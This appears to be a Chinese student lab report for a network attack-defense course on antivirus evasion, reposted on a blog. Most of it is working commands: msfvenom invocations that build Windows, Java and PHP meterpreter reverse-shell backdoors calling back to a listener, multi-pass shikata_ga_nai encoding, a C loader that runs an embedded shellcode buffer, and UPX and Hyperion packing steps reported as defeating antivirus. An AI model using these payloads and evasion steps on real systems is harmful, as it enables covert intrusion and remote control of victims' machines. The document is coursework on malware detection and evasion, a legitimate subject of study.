zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践

    • 实验内容

      • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
        • 使用msf编码器生成各种后门程序及检测
        • 使用veil-evasion生成后门程序及检测
      • 任务二:通过组合应用各种技术实现恶意代码免杀
      • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
    • 基础问题回答

      • (1)杀软是如何检测出恶意代码的?
        检测代码是否含有特征码;检测代码的行为是不是和恶意代码相同;启发式恶意代码检测。
      • (2)免杀是做什么?
        防止恶意代码被安全软件检测、识别。
      • (3)免杀的基本方法有哪些?
        • 改变特征码
          - 只有EXE——加壳(压缩壳 加密壳)
          - 有shellcode——利用encode进行编码
          - 有源代码——用其他语言进行重写再编译

        • 改变行为

          • 通讯方式
            • 尽量使用反弹式连接
            • 使用隧道技
            • 加密通讯数据
        • 操作模式
          - 基于内存操作
          - 减少对系统的修改
          - 加入混淆作用的正常功能代码

        • 非常规方法
          - 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
          - 使用社工类攻击,诱骗目标关闭AV软件。
          - 纯手工打造一个恶意软件

    • 实验内容

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    • 用VirusTotal扫描后结果如下

    • 用Virscan网站的扫描结果如下

    不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。

    • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.216.130 LPORT=5301 -f exe > ctfbackdoor.exe

    • 扫描结果

    • 十次编码使用命令:-i设置迭代次数

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.216.130 LPORT=5301 -f exe > ctfbackdoor10.exe

    • 扫描结果

    由此可见,多次编码对免杀没有太大的效果

    msfvenom生成jar文件

    • 生成java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 x> ctf_backdoor_java.jar

    • 扫描结果

    msfvenom生成php文件

    • 生成PHP后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 x> 20165301_backdoor.php
    • 扫描结果

    使用veil-evasion生成后门程序及检测

    • 安装veil
    • mkdir -p ~/.cache/wine
    • cd ~/.cache/wine
    • wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    • wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
    • sudo apt-get install veil-evasion

    半手工注入Shellcode并执行

    • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 -f c用c语言生成一段shellcode

    • 创建一个文件20165301.c,然后将unsigned char buf[]赋值到其中,代码如下:

    unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    此处省略
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

    • 使用命令i686-w64-mingw32-g++ 20165301.c -o 20165301.exe编译这个.c文件为可执行文件.exe

    • 检测结果

    加壳

    在技术上分壳分为:

    • 压缩壳

      • 减少应用体积,如ASPack,UPX
    • 加密壳

      • 版权保护,反跟踪。如ASProtect,Armadillo
    • 虚拟机

      • 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
    • 使用压缩壳(UPX)

      • 给20165301.exe加个壳
      • 查看连接情况,可以反弹连接
      • 检测结果
    • 加密壳Hyperion

      • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
      • 进入目录/usr/share/windows-binaries/hyperion/
      • 输入命令wine hyperion.exe -v ctf.exe ctf_upxed_Hyperion.exe进行加壳

    生成新的可执行文件

    反弹连接

    检测结果

    任务二:通过组合应用各种技术实现恶意代码免杀

    • 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
    • 任务成功截图:



    • 实验遇到的问题
      veil安装过程遇到很大困难,有时候生成的壳无法打开。经过反复尝试,最终解决。
  • 相关阅读:
    java web项目打包.war格式
    version 1.4.2-04 of the jvm is not suitable for thi
    Sugarcrm Email Integration
    sharepoint 2010 masterpage中必须的Content PlaceHolder
    微信开放平台
    Plan for caching and performance in SharePoint Server 2013
    使用自定义任务审批字段创建 SharePoint 顺序工作流
    Technical diagrams for SharePoint 2013
    To get TaskID's Integer ID value from the GUID in SharePoint workflow
    how to get sharepoint lookup value
  • 原文地址:https://www.cnblogs.com/CTF5301/p/10633621.html
Copyright © 2011-2022 走看看